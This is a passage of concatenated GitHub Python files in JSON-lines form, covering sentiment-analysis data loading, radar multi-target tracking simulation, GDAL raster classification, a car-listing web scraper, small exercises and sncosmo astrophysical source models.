text_right, reverse=True)\n aspect_indices = tokenizer.text_to_sequence(aspect)\n left_context_len = np.sum(text_left_indices != 0)\n aspect_len = np.sum(aspect_indices != 0)\n auxiliary_aspect_indices = tokenizer.text_to_sequence(auxiliary_aspect)\n auxiliary_aspect_len = np.sum(auxiliary_aspect_indices != 0)\n aspect_in_text = torch.tensor([left_context_len.item(), (left_context_len + aspect_len - 1).item()])\n polarity = int(polarity) + 1\n sent = text_left + \" \" + aspect + \" \" + text_right\n text_bert_indices = tokenizer.text_to_sequence(tokenizer.cls_token+' ' + sent + ' '\n +tokenizer.sep_token+' ' + aspect + \" \"+tokenizer.sep_token)\n\n bert_segments_ids = np.asarray([0] * (np.sum(text_raw_indices != 0) + 2) + [1] * (aspect_len + 1))\n if 'Roberta' in type(tokenizer.tokenizer).__name__:\n bert_segments_ids = np.zeros(np.sum(text_raw_indices != 0) + 2 + aspect_len + 1)\n bert_segments_ids = pad_and_truncate(bert_segments_ids, tokenizer.max_seq_len)\n\n text_raw_bert_indices = tokenizer.text_to_sequence(tokenizer.cls_token+ ' ' + text_left + \" \" + aspect + \" \" + text_right\n + \" \" + tokenizer.sep_token)\n\n # Find distance in dependency parsing tree\n raw_tokens, dist = calculate_dep_dist(sent,aspect)\n raw_tokens.insert(0,tokenizer.cls_token)\n dist.insert(0,0)\n raw_tokens.append(tokenizer.sep_token)\n dist.append(0)\n\n _, distance_to_aspect = tokenizer.tokenize(raw_tokens, dist)\n aspect_bert_indices = tokenizer.text_to_sequence(tokenizer.cls_token+ ' ' + aspect + \" \" + tokenizer.sep_token)\n\n data = {\n 'text_bert_indices': text_bert_indices,\n 'bert_segments_ids': bert_segments_ids,\n 'text_raw_bert_indices': text_raw_bert_indices,\n 'aspect_bert_indices': aspect_bert_indices,\n 'text_raw_indices': text_raw_indices,\n 'text_raw_without_aspect_indices': text_raw_without_aspect_indices,\n 'text_left_indices': text_left_indices,\n 'text_left_with_aspect_indices': text_left_with_aspect_indices,\n 'text_right_indices': text_right_indices,\n 'text_right_with_aspect_indices': text_right_with_aspect_indices,\n 'aspect_indices': aspect_indices,\n 'aspect_in_text': aspect_in_text,\n 'polarity': polarity,\n 'dep_distance_to_aspect':distance_to_aspect,\n 'raw_text':raw_text,\n 'aspect':aspect\n }\n\n all_data.append(data)\n self.data = all_data\n\n def __getitem__(self, index):\n return self.data[index]\n\n def __len__(self):\n return len(self.data)\nnlp = spacy.load(\"en_core_web_sm\")\ndef calculate_dep_dist(sentence,aspect):\n terms = [a.lower() for a in aspect.split()]\n doc = nlp(sentence)\n # Load spacy's dependency tree into a networkx graph\n edges = []\n cnt = 0\n term_ids = [0] * len(terms)\n for token in doc:\n # Record the position of aspect terms\n if cnt < len(terms) and token.lower_ == terms[cnt]:\n term_ids[cnt] = token.i\n cnt += 1\n\n for child in token.children:\n edges.append(('{}_{}'.format(token.lower_,token.i),\n '{}_{}'.format(child.lower_,child.i)))\n\n graph = nx.Graph(edges)\n\n dist = [0.0]*len(doc)\n text = [0]*len(doc)\n for i,word in enumerate(doc):\n source = '{}_{}'.format(word.lower_,word.i)\n sum = 0\n for term_id,term in zip(term_ids,terms):\n target = '{}_{}'.format(term, term_id)\n try:\n sum += nx.shortest_path_length(graph,source=source,target=target)\n except:\n sum += len(doc) # No connection between source and target\n dist[i] = sum/len(terms)\n text[i] = word.text\n return text,dist","repo_name":"HieuPhan33/LCFS-BERT","sub_path":"data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":10676,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"37"} +{"seq_id":"2188657516","text":"import dataloader\nimport pysimulator.scenarios.scenarios\nfrom model.model import *\nimport pysimulator.scenarios.defaults as defaults\nimport pysimulator.simulationConfig as config\nimport gui.background as bg\nfrom tracking import *\nimport mht.mht as mht\nfrom mht import mhtdata\nfrom PyQt5.QtWidgets import QApplication\nfrom gui.appmht import TrackApp\nimport sys\nimport measinit.meas_init as mi\nimport pymht.models.constants as constants\nimport mht.pruning as pruning\n\n\nclass SimulatorSource(dataloader.DataSource):\n def __init__(self, scenario, clutter_density, P_D, seed=0):\n self.scenario = scenario\n simList = scenario.getSimList()\n\n # List of Measurement List:\n self.scanList, _ = scenario.getSimulatedScenario(seed, simList, clutter_density, P_D, localClutter=False)\n\n def load_data(self, idx) -> Scan:\n measurements = self.scanList[idx].measurements\n #radar_image = np.zeros((200, 200, 4))\n #cam_image = np.zeros((200, 400, 3))\n radar_image, cam_image = None, None\n return Scan(0, radar_image, cam_image, measurements[:, 0], measurements[:, 1])\n\n def __len__(self):\n return len(self.scanList)\n\n\ndef simulator_background(range):\n import util\n background = bg.Background(range, (-range, range), (-range, range), out_size=1000)\n background.add_image(np.ones((1000, 1000, 3)), range)\n background.add_overlay(~util.create_range_mask(range, range, 1000), (0, 1, 0, 1), range)\n return background\n\ndef my_excepthook(type, value, tback):\n # log the exception here\n # then call the default handler\n sys.__excepthook__(type, value, tback)\n\nif __name__ == '__main__':\n sys.excepthook = my_excepthook\n scenario = pysimulator.scenarios.scenarios.scenario0\n print(\"Number of targets in scenario: {}\".format(len(scenario.initialTargets)))\n\n # PARAMETERS:\n dt = scenario.radarPeriod\n q_std = 2 #0.1758*2 # 0.1758\n r_std = constants.sigmaR_RADAR_true # 99.8 % lies withing +-3 meters.\n v_max = defaults.maxSpeedMS\n PG = 0.95\n P_X = 0\n targets_per_scan = 1\n clutter_density = config.lambdaphiList[2] # 0.05\n radar_range = scenario.radarRange\n\n pruner = pruning.Pruner(N_scan=-1, ratio_pruning=1e5, K_best=20)\n\n # Calculate PD, PO, PX. Ratio PD/PO preserved.\n PD_base = 0.8 # 0.956\n PX_ratio = 0 # 0.1\n PD = PD_base * (1 - PX_ratio)\n PX = PX_ratio\n\n # DERIVED:\n area = np.pi * (radar_range**2)\n scenarioSource = SimulatorSource(scenario, clutter_density, PD_base)\n dl = dataloader.SimpleDataloader(scenarioSource)\n background = simulator_background(radar_range)\n meas_model = MeasurementModel(q_std, r_std, dt, PD, P_X)\n #meas_model = ProbMeasModel(q_std, r_std, dt, PD, PX, land_mask, land_extent)\n track_gate = TrackGate2(PG)\n meas_initializer = mi.MeasInitBase(area, targets_per_scan, v_max)\n\n i_start = 0 # 27, 118\n\n mht_data = mhtdata.MhtData()\n mht = mht.MHT(dt, clutter_density, meas_model, track_gate, meas_initializer, mht_data, pruner)\n mht_loader = dataloader.MHTLoader(mht, dl, i_start, disabled=False)\n\n # Start app:\n app = QApplication(sys.argv)\n ex = TrackApp(dl, background, mht_loader, meas_model, track_gate, i=i_start)\n sys.exit(app.exec_())\n","repo_name":"YesperP/Master","sub_path":"simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7833439690","text":"from Input import data\nimport math\n\ndef Cal(data):\n house_115_lower_bound = math.ceil(data.Area_match_floor[115] * 0.9)\n house_115_upper_bound = math.ceil(data.Area_match_floor[115] * 1.1)\n house_140_lower_bound = math.ceil(data.Area_match_floor[140] * 0.9)\n house_140_upper_bound = math.ceil(data.Area_match_floor[140] * 1.1)\n house_180_lower_bound = math.ceil(data.Area_match_floor[180] * 0.9)\n house_180_upper_bound = math.ceil(data.Area_match_floor[180] * 1.1)\n Ground_truth_Area = data.landArea\n Initial_Area = 90000\n Actual_Area = 0\n for i in range(house_115_lower_bound,house_115_upper_bound):\n Area_115 = i * data.each_floor_num[115] * data.building_num[115] * 115\n for j in range(house_140_lower_bound,house_140_upper_bound):\n Area_140 = j * data.each_floor_num[140] * data.building_num[140] * 140\n for k in range(house_180_lower_bound,house_180_upper_bound):\n Area_180 = k * data.each_floor_num[180] * data.building_num[180] * 180\n Actual_Area = Area_115 + Area_140 + Area_180\n if abs(Ground_truth_Area - Actual_Area) < Initial_Area:\n Initial_Area = abs(Actual_Area - Ground_truth_Area)\n Actual_i = i\n Actual_j = j\n Actual_k = k\n print(Actual_i)\n print(Actual_j)\n print(Actual_k)\n\nCal(data)","repo_name":"YihaoZhu/20190709learning","sub_path":"json_test/formula/Cal.py","file_name":"Cal.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10741337599","text":"\"\"\"\n给定一个排序数组,你需要在原地删除重复出现的元素,使得每个元素最多出现两次,返回移除后数组的新长度。\n\n不要使用额外的数组空间,你必须在原地修改输入数组并在使用 O(1) 额外空间的条件下完成。\n\n示例1:\n\n给定 nums = [1,1,1,2,2,3],\n\n函数应返回新长度 length = 5, 并且原数组的前五个元素被修改为 1, 1, 2, 2, 3 。\n\n你不需要考虑数组中超出新长度后面的元素。\n\n示例2:\n\n给定 nums = [0,0,1,1,1,1,2,3,3],\n\n函数应返回新长度 length = 7, 并且原数组的前五个元素被修改为0, 0, 1, 1, 2, 3, 3 。\n\n你不需要考虑数组中超出新长度后面的元素。\n\"\"\"\n\n\nclass Solution:\n def removeDuplicates(self, nums: list) -> int:\n slow, count = 1, 1\n for i in range(1, len(nums)):\n if nums[i] == nums[i-1]:\n count += 1\n else:\n count = 1\n if count <= 2:\n nums[slow] = nums[i]\n slow += 1\n return slow\n","repo_name":"GeorgeDaiz/my_python","sub_path":"Leetcode/Array-Str/80.remove-duplicates-from-sorted-array-ii.py","file_name":"80.remove-duplicates-from-sorted-array-ii.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23548013341","text":"import yaml\nfrom common import yaml_conf\nimport os\nprint(\"获取配置文件\")\nbasedir = os.path.dirname(__file__)\nprint(\"basedir:\" + basedir)\n# a=yaml_conf.yaml_load(\"C:/Users/tn_chenghao.yan/PycharmProjects/pythonProject/test_request/config/conf.yaml\")\n# a=yaml_conf.yaml_load(\"./config/conf.yaml\")\na=yaml_conf.yaml_load(basedir+os.sep+\"conf.yaml\")\nprint(a)\ndef get_host():\n host=a[\"base\"][\"host\"]\n print(host)\n return host\ndef get_protocol():\n protocol=a[\"base\"][\"protocol\"]\n print(protocol)\n return protocol\ndef get_level():\n log_level=a[\"base\"][\"log_level\"]\n print(log_level)\n return log_level\ndef get_extension():\n log_extension=a[\"base\"][\"log_extension\"]\n print(log_extension)\n return log_extension\n# def get_logpath():\n# # print(os.path.split(__file__)[-1].split(\".\")[0])\n# name=os.path.split(__file__)[-1].split(\".\")[0]+get_extension()\n# dirandname=\"logs/\"+name\n# # print(os.path.split(__file__)[-1].split(\".\")[0]+get_extension())\n# return dirandname\n\n\n\n","repo_name":"yanchenghao/test_request","sub_path":"config/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35010216317","text":"from typing import List, Union, Tuple\n\nfrom osgeo import gdal\nimport argparse\nimport numpy as np\n\nfrom utils.shape_files_directory_handler import ShapeFilesDirectoryHandler\n\nNO_DATA_VALUE = -9999\nRASTER_WIDTH = 230\nRASTER_HEIGHT = 221\n\n\ndef get_classification_ranges(\n min_val: Union[float, int],\n max_val: Union[float, int]\n) -> List[Tuple[float, float]]:\n \"\"\" Splits values into ranges to classify into 9 categories.\n\n Args:\n min_val: [number] Minimum values of the data.\n max_val: [number] Maximum value of the data.\n\n Returns:\n List[Tuple[float, float]]: The ranges to classify with.\n \"\"\"\n data_range = (max_val - min_val) / 9\n return [(min_val + (data_range * i), min_val + (data_range * (i + 1)))\n for i in range(0, 9)]\n\n\ndef classify_band(band: gdal.Band, reverse=False) -> None:\n \"\"\"Classify raster band values.\n\n Args:\n band (gdal.Band): The raster band to classify.\n reverse (bool, optional): Whether to reverse classification values.\n Defaults to False.\n \"\"\"\n [data_min, data_max, _, __] = band.GetStatistics(True, True)\n\n band_data = np.array(band.ReadAsArray())\n\n new_band_data = classify_arr(band_data, reverse, data_min, data_max)\n\n band.WriteArray(new_band_data)\n\n\ndef classify_arr(arr: np.ndarray, reverse: bool,\n min: int, max: int) -> np.ndarray:\n \"\"\"Classify arr values.\n\n Args:\n arr (gdal.Band): The array band to classify.\n reverse (bool, optional): Whether to reverse classification values.\n Defaults to False.\n min: (int): The lower bound of the resulting array\n max: (int): The upper bound of the resulting array\n \"\"\"\n band_data = arr\n final_data = band_data.copy()\n ranges = get_classification_ranges(min, max)\n current_class = 1 if not reverse else 9\n\n for val_range in ranges:\n data_selection = \\\n (final_data >= val_range[0]) & (final_data < val_range[1]) \\\n if val_range[0] != ranges[-1][0] \\\n else (final_data >= val_range[0]) & (final_data <= val_range[1])\n\n final_data[data_selection] = current_class\n\n if reverse:\n current_class -= 1\n else:\n current_class += 1\n\n return final_data\n\n\ndef rasterize_shapefile(shape_file: gdal.Dataset, raster_file_name: str,\n **args) -> gdal.Dataset:\n \"\"\" Rasterize vector shape file.\n\n Args:\n shape_file: The shape file to rasterize.\n raster_file_name: The output filename of the raster.\n args: Extra arguments to the rasterization method.\n\n Returns:\n gdal.Dataset: The raster as a GDAL Dataset.\n \"\"\"\n pixel_size = 25\n x_min = 522556.47860572586\n y_max = 3786279.2744338084\n\n source_layer: gdal.Dataset = shape_file.GetLayer()\n\n target_ds: gdal.Dataset = gdal.GetDriverByName('GTiff').Create(\n raster_file_name, RASTER_WIDTH, RASTER_HEIGHT, 1, gdal.GDT_Float32)\n target_ds.SetGeoTransform((x_min, pixel_size, 0, y_max, 0, -pixel_size))\n target_ds.SetProjection(source_layer.GetSpatialRef().ExportToWkt())\n band: gdal.Band = target_ds.GetRasterBand(1)\n band.SetNoDataValue(NO_DATA_VALUE)\n\n # Rasterize\n gdal.RasterizeLayer(target_ds, [1], source_layer, **args)\n\n return target_ds\n\n\ndef calculate_raster_distance(target_ds: gdal.Dataset):\n \"\"\" Calculate Euclidean Distance for the raster.\n\n Args:\n target_ds: The created GeoTiff file.\n \"\"\"\n band = target_ds.GetRasterBand(1)\n gdal.ComputeProximity(band, band,\n options=['VALUES=0', 'DISTUNITS=GEO', 'MAXDIST=100'])\n classify_band(band, True)\n\n\ndef split_size_into(size: int, split_into=5) -> List[Tuple[int]]:\n curr_min = 0\n sizes: List = []\n\n for split in range(1, split_into + 1):\n min_to_use = curr_min\n max_to_use = int((split / split_into) *\n size) if split != split_into else size\n\n sizes.append((min_to_use, max_to_use))\n curr_min = max_to_use\n\n return sizes\n\n\ndef blockify_matrix(mat: np.ndarray) -> Tuple[List[Tuple[int]]]:\n (x, y) = mat.shape\n\n return (split_size_into(x), split_size_into(y))\n\n\ndef zonal_avg(mat: np.ndarray) -> np.ndarray:\n (xs, ys) = blockify_matrix(output_raster)\n zonal_mat = mat.copy()\n\n for x in xs:\n for y in ys:\n temp = mat[x[0]: x[1], y[0]: y[1]]\n zonal_mat[x[0]: x[1], y[0]: y[1]] = np.average(temp)\n\n return zonal_mat\n\n\ndef save_arr_as_raster(\n name: str,\n geo_transform: Tuple[float, float, float, float, float, float],\n projection: str,\n arr: np.ndarray\n) -> None:\n end_ds: gdal.Dataset = gdal.GetDriverByName('GTiff').Create(\n name, RASTER_WIDTH, RASTER_HEIGHT, 1, gdal.GDT_Float32)\n\n end_ds.SetGeoTransform(geo_transform)\n end_ds.SetProjection(projection)\n end_band: gdal.Band = end_ds.GetRasterBand(1)\n end_band.SetNoDataValue(NO_DATA_VALUE)\n end_band.WriteArray(arr, 0, 0)\n end_band.FlushCache()\n\n\nif __name__ == '__main__':\n arg_parser = argparse.ArgumentParser()\n arg_parser.add_argument(\"-sp\", \"--shape_path\",\n help=\"The absolute path to the shape files.\",\n required=True)\n\n cmd_args = arg_parser.parse_args()\n\n file_handler = ShapeFilesDirectoryHandler(cmd_args.shape_path)\n shape_files = file_handler.read_shapefiles()\n\n wanted_features = {\n \"EgressRoutes\": {\"weight\": 0.2, \"column_to_use\": None},\n \"Communityfeatures\": {\"weight\": 0.3, \"column_to_use\": None},\n \"DistCircuits\": {\"weight\": 0.1, \"column_to_use\": None},\n \"PopulatedAreast\": {\"weight\": 0.3, \"column_to_use\": \"pop_per_sq\"},\n \"SBNFMortalityt\": {\"weight\": 0.1, \"column_to_use\": \"tot_mortal\"},\n }\n\n output_raster: np.ndarray = None\n geo_transform: Tuple[float, float, float, float, float, float] = None\n projection: str = None\n\n for feature, details in wanted_features.items():\n feature_shape_file = shape_files[feature]\n\n if details[\"column_to_use\"] is not None:\n extra_params = {\n \"options\": [f'ATTRIBUTE={details[\"column_to_use\"]}']\n }\n ds = rasterize_shapefile(feature_shape_file, f\"{feature}.tiff\",\n **extra_params)\n classify_band(ds.GetRasterBand(1))\n else:\n ds = rasterize_shapefile(\n feature_shape_file, f\"{feature}.tiff\", burn_values=[0])\n calculate_raster_distance(ds)\n\n if geo_transform is None:\n geo_transform = ds.GetGeoTransform()\n\n if projection is None:\n projection = ds.GetProjection()\n\n band_as_arr: np.ndarray = np.array(ds.GetRasterBand(1).ReadAsArray())\n band_as_arr[band_as_arr == NO_DATA_VALUE] = 1\n\n if output_raster is not None:\n output_raster += band_as_arr * details[\"weight\"]\n else:\n output_raster = band_as_arr * details[\"weight\"]\n\n save_arr_as_raster(\"final.tiff\", geo_transform, projection, output_raster)\n\n zonal_data = zonal_avg(output_raster)\n\n save_arr_as_raster(\"zonal_avg.tiff\", geo_transform, projection, zonal_data)\n save_arr_as_raster(\"zonal_avg_classified.tiff\",\n geo_transform, projection,\n classify_arr(zonal_data, False,\n zonal_data.min(), zonal_data.max()))\n","repo_name":"Yazan-Hamdan/Tree-cutting-priority","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3129495866","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom bs4 import BeautifulSoup\nimport re\nimport json\nimport csv\n\nnon_latin_char = re.compile(r\"[^\\x00-\\x7F]+\")\n\n\ndef get_cars(url, count_cars):\n driver = webdriver.Chrome(executable_path=ChromeDriverManager().install())\n driver.get(url)\n soup = BeautifulSoup(driver.page_source, \"html.parser\")\n time.sleep(4)\n accept_cookies = driver.find_element(By.XPATH, '//button[text()=\"I Accept\"]')\n accept_cookies.click()\n time.sleep(3)\n\n cars = []\n counter = 0\n electricity_cars_count = 0\n\n while True:\n soup = BeautifulSoup(driver.page_source, \"html.parser\")\n allcars = soup.find_all(\"article\", class_=\"list-item\")\n\n for car in allcars:\n title = car.find(\"h2\", class_=\"item-title\").text\n price = re.sub(\"[^0-9]\", \"\", car.find(\"div\", class_=\"item-price\").text)\n description = car.find(\"div\", class_=\"item-description\").text\n if \"Electricity\" in description:\n electricity_cars_count += 1\n continue\n description_list = list(\n filter(\n None, map(str.strip, \"\".join(description.splitlines()).split(\",\"))\n )\n )\n\n if len(description_list) >= 5:\n liter = description_list[0].strip()[:3]\n if len(liter) > 3:\n liter = \"N/A\"\n\n fuel_type = description_list[1].strip()\n if len(fuel_type) > 12:\n fuel_type = \"N/A\"\n\n year = description_list[2].strip()[:4]\n if len(year) > 7:\n year = \"N/A\"\n\n transmission = description_list[3].strip()[:10]\n transmission = re.sub(r\"(Automatic.*)\", r\"Automatic\", transmission)\n if len(transmission) > 10:\n transmission = \"N/A\"\n city = description_list[-1].strip()\n\n else:\n liter = \"N/A\"\n fuel_type = \"N/A\"\n year = \"N/A\"\n transmission = \"N/A\"\n city = \"N/A\"\n\n if (\n non_latin_char.search(title)\n or non_latin_char.search(price)\n or non_latin_char.search(liter)\n or non_latin_char.search(fuel_type)\n or non_latin_char.search(year)\n or non_latin_char.search(transmission)\n or non_latin_char.search(city)\n ):\n continue\n\n cars.append(\n {\n \"title\": title,\n \"price\": price,\n \"liter\": liter,\n \"fuel_type\": fuel_type,\n \"year\": year,\n \"transmission\": transmission,\n \"city\": city,\n }\n )\n counter += 1\n if counter >= count_cars:\n break\n if counter >= count_cars:\n break\n next_page_button = driver.find_elements(\n By.XPATH, (\"//div[@class='next-page-inner']\")\n )\n if not next_page_button:\n break\n else:\n next_page_button[0].click()\n time.sleep(3)\n\n print(\"Cars scraped: \", len(cars))\n print(\"Skipped electric cars: \", electricity_cars_count)\n print(\"Caars list: \", cars)\n return cars\n\ndef write_to_csv(cars, chunk_size=1000):\n with open(\"cars.csv\", \"w\", newline=\"\", encoding=\"utf-8-sig\") as csv_file:\n fieldnames = [\n \"title\",\n \"price\",\n \"liter\",\n \"fuel_type\",\n \"year\",\n \"transmission\",\n \"city\",\n ]\n wrt = csv.DictWriter(csv_file, fieldnames=fieldnames)\n wrt.writeheader()\n for i in range(0, len(cars), chunk_size):\n chunk = cars[i : i + chunk_size]\n for car in chunk:\n if not isinstance(car[\"title\"], str) or not isinstance(\n car[\"price\"], str\n ):\n continue\n car[\"title\"] = car[\"title\"].strip()\n car[\"price\"] = car[\"price\"].strip()\n wrt.writerow(car)\n\n\ndef main():\n url = \"https://autogidas.lt/en/skelbimai/automobiliai/?f_1%5B0%5D=&f_model_14%5B0%5D=&f_215=&f_216=&f_41=&f_42=&f_376=\"\n count_cars = 10500\n cars = get_cars(url, count_cars)\n write_to_csv(cars)\n\n\nmain()\n","repo_name":"erikonasz/AGidasScrape","sub_path":"ascraper/ascrape.py","file_name":"ascrape.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6398429502","text":"# Напишите программу, в которой пользователь вводит две рациональные дроби, а программа вычисляет сумму,\n# произведение, разность и частное этих дробей, среди полученных значений находит наибольшее и наименьшее и\n# отображает результат вычислений.\nfrom fractions import Fraction\ndef indrob(a,b):\n A=Fraction(a,b)\n return A\nche=list()\ntry:\n num1=input(\"Введите первую дробь в формате A/B: \")\n num1_ev=num1.partition('/')\n first=indrob(eval(num1_ev[0]),eval(num1_ev[2]))\n num2=input(\"Введите вторую дробь в формате A/B: \")\n num2_ev=num2.partition('/')\n second=indrob(eval(num2_ev[0]),eval(num2_ev[2]))\n A=first+second\n B=first*second\n if first>=second:\n C=first-second\n D=first/second\n else:\n C=second-first\n D=second/first\n che.append(A)\n che.append(B)\n che.append(C)\n che.append(D)\n Ma = max(che)\n Mi = min(che)\n print(f\"Сумма дробей: {che[0]}\")\n print(f\"Произведение дробей: {che[1]}\")\n print(f\"Разность дробей: {che[2]}\")\n print(f\"Частное дробей: {che[3]}\")\n print(f\"Наибольшее среди полученных значений - {Ma}, наименьшее - {Mi}.\")\nexcept ZeroDivisionError:\n print(\"Знаменатель дроби не должен быть равен нулю.\")\nexcept NameError:\n print(\"Числитель и знаменатель дроби должны быть числами.\")","repo_name":"BigBigger888/LearnPy-Independent_work","sub_path":"Independent work07_05.py","file_name":"Independent work07_05.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14024288983","text":"#!/usr/bin/env python3\n\n# coding=utf-8\n\n__author__ = 'xgqfrms'\n__editor__ = 'vscode'\n__version__ = '1.0.1'\n__copyright__ = \"\"\"\n Copyright (c) 2012-2050, xgqfrms; mailto:xgqfrms@xgqfrms.xyz\n\"\"\"\n\n\"\"\"\n /**\n *\n * @author xgqfrms\n * @license MIT\n * @copyright xgqfrms\n * @created 2022-08-17\n *\n * @description\n * @augments\n * @example\n * @link\n *\n */\n\"\"\"\n\n\n#your code goes here\n\n\nx = 4\nsum = 100\nwhile x > 0:\n action = input();\n if(action == \"hit\"):\n sum += 10;\n if(action == \"miss\"):\n sum -= 20;\n x -= 1\n\nprint(sum)\n\n\n\"\"\"\n#your code goes here\n\n# a,b,c,d = (input()).split();\n# ValueError: not enough values to unpack (expected 4, got 1)\n# ValueError:没有足够的值来解包(预期 4,得到 1)\na = input();\nb = input();\nc = input();\nd = input();\n\nsum = 100\n\nif(a == \"hit\"):\n sum += 10;\nif(a == \"miss\"):\n sum -= 20;\n\nif(b == \"hit\"):\n sum += 10;\nelse:\n sum -= 20;\n\nif(c == \"hit\"):\n sum += 10;\nelse:\n sum -= 20;\n\nif(d == \"hit\"):\n sum += 10;\nelse:\n sum -= 20;\n\n\nprint(sum)\n\n\"\"\"\n","repo_name":"xgqfrms/Python","sub_path":"python3.x/while.py","file_name":"while.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"15504318919","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Useful sncosmo model/source definitions\"\"\"\n\nimport warnings\nimport numpy as np\nimport pickle\nfrom copy import copy, deepcopy\nfrom collections import OrderedDict as odict\n\ntry:\n from itertools import izip\nexcept ImportError: #Python3.x\n izip = zip\n\nfrom scipy.constants import speed_of_light, Planck, Boltzmann\nfrom scipy.interpolate import (InterpolatedUnivariateSpline as Spline1d,\n RectBivariateSpline as Spline2d)\n\nimport sncosmo\n\n__all__ = [\"BlackBodySource\", \"ExpandingBlackBodySource\",\n \"MultiSource\", \"SpectralIndexSource\", \"CompoundSource\",\n \"AngularTimeSeriesSource\"]\n\n#######################################\n# #\n# New source classes #\n# #\n#######################################\nclass BlackBodySource(sncosmo.Source):\n \"\"\"A simple spectral source for a transient with a \n black-body spectrum of constant temperature\n The spectral flux density of this model is given by\n .. math::\n F(t, \\lambda) = A \\\\times LC(t / s) \\\\times B(\\lambda, T)\n where _A_ is the amplitude, _s_ is the \"stretch\" and \n _T_ is the black-body temperature; LC is a dimensionless \n lightcurve that defines the time evolution of the flux \n while B is the black-body spectrum.\n Parameters\n ----------\n phase : `~numpy.ndarray`\n Phases in days.\n flux : `~numpy.ndarray`\n Model spectral flux density in arbitrary units.\n Must have shape `(num_phases)`.\n \"\"\"\n\n _param_names = ['amplitude', 's', 'T']\n param_names_latex = ['A', 's', 'T']\n\n def __init__(self, phase, flux, name=None, version=None):\n self.name = name\n self.version = version\n self._phase = phase\n self._parameters = np.array([1., 1., 2e4])\n self._model_lc = Spline1d(phase, flux, k=2)\n\n def minwave(self): \n return 1e-100\n\n def maxwave(self): \n return 1e100\n \n def minphase(self):\n return self._parameters[1] * self._phase[0]\n\n def maxphase(self):\n return self._parameters[1] * self._phase[-1]\n\n def _flux(self, phase, wave):\n return np.outer(self._parameters[0] *\n self._model_lc(phase / self._parameters[1]),\n blackbody(wave, self._parameters[2]))\n\nclass MultiSource(sncosmo.Source):\n \"\"\"\n \"\"\" \n _param_names = ['amplitude', 's', 'template_index']\n param_names_latex = ['A', 's', 'k']\n\n def __init__(self, phase, wave, flux, zero_before=False, name=None,\n version=None, kx=3, ky=3):\n self.name = name\n self.version = version\n self._loaded_index = None\n\n self._parameters = np.array([1., 1., 0.])\n self._zero_before = zero_before\n self._spline_k = (kx, ky)\n\n self._phase = phase\n self._wave = wave\n\n self._model_flux = [Spline2d(p_, w_, f_, kx=kx, ky=ky)\n for p_, w_, f_ in zip(phase, wave, flux)]\n\n def minwave(self):\n return self._parameters[1] * self._wave[self._k][0]\n\n def maxwave(self):\n return self._parameters[1] * self._wave[self._k][-1]\n\n def minphase(self):\n return self._parameters[1] * self._phase[self._k][0]\n\n def maxphase(self):\n return self._parameters[1] * self._phase[self._k][-1]\n \n def _flux(self, phase, wave):\n #f = self._parameters[0] * self._model_flux[k](phase, wave)\n \n #if self._zero_before:\n # mask = np.atleast_1d(phase) < self.minphase()\n # f[mask, :] = 0.\n\n #return f\n\n return (self._parameters[0] *\n self._model_flux[self._k](phase / self._parameters[1], wave))\n\n @property\n def _k(self):\n \"\"\"template index\"\"\"\n return int(self._parameters[2])\n\nclass CompoundSource(sncosmo.Source):\n \"\"\"\n \"\"\"\n def __init__(self, sources, name=None, version=None):\n self.name = name\n self.version = version\n\n self._sources = sources\n self._parameters = np.array([0. for k in range(1, len(sources))])\n self._param_names = ['dt_%i'%k for k in range(1, len(sources))]\n self.param_names_latex = ['\\Delta_t^{(%i)}'%k for k in range(1, len(sources))]\n \n for k, source in enumerate(sources):\n if k > 0 and 'dt' in source._param_names:\n raise ValueError('Sources cannot have parameters named \"dt\"')\n \n self._parameters = np.append(self._parameters, source._parameters)\n self._param_names.extend(['%s_%i'%(n_, k) for n_ in source._param_names])\n self.param_names_latex.extend(['%s^{(%i)}'%(n_, k)\n for n_ in source.param_names_latex])\n\n self._current_parameters = copy(self._parameters)\n \n def minwave(self): \n return max([source.minwave() for source in self._sources])\n\n def maxwave(self): \n return min([source.maxwave() for source in self._sources])\n \n def minphase(self):\n return min([(source.minphase()\n if k == 0\n else source.minphase() + self._parameters[k-1])\n for k, source in enumerate(self._sources)])\n\n def maxphase(self):\n return max([(source.maxphase()\n if k == 0\n else source.maxphase() + self._parameters[k-1])\n for k, source in enumerate(self._sources)])\n\n def update_param(self):\n param_tmp = list(self._parameters[len(self._sources)-1:])\n for source in self._sources:\n for n_ in source._param_names:\n source.set(**{n_: param_tmp.pop(0)})\n\n self._current_parameters = copy(self._parameters)\n \n def _flux(self, phase, wave):\n if np.any(self._current_parameters != self._parameters):\n self.update_param()\n\n out = np.zeros((len(phase), len(wave)))\n\n mask = ((phase >= self._sources[0].minphase()) &\n (phase <= self._sources[0].maxphase()))\n out[mask, :] = self._sources[0]._flux(phase[mask], wave)\n\n for k, source in enumerate(self._sources[1:]):\n mask = ((phase - self._parameters[k] >= source.minphase()) &\n (phase - self._parameters[k] <= source.maxphase()))\n out[mask, :] += source._flux(phase[mask] - self._parameters[k], wave)\n \n return out\n \nclass ExpandingBlackBodySource(sncosmo.Source):\n \"\"\"\n 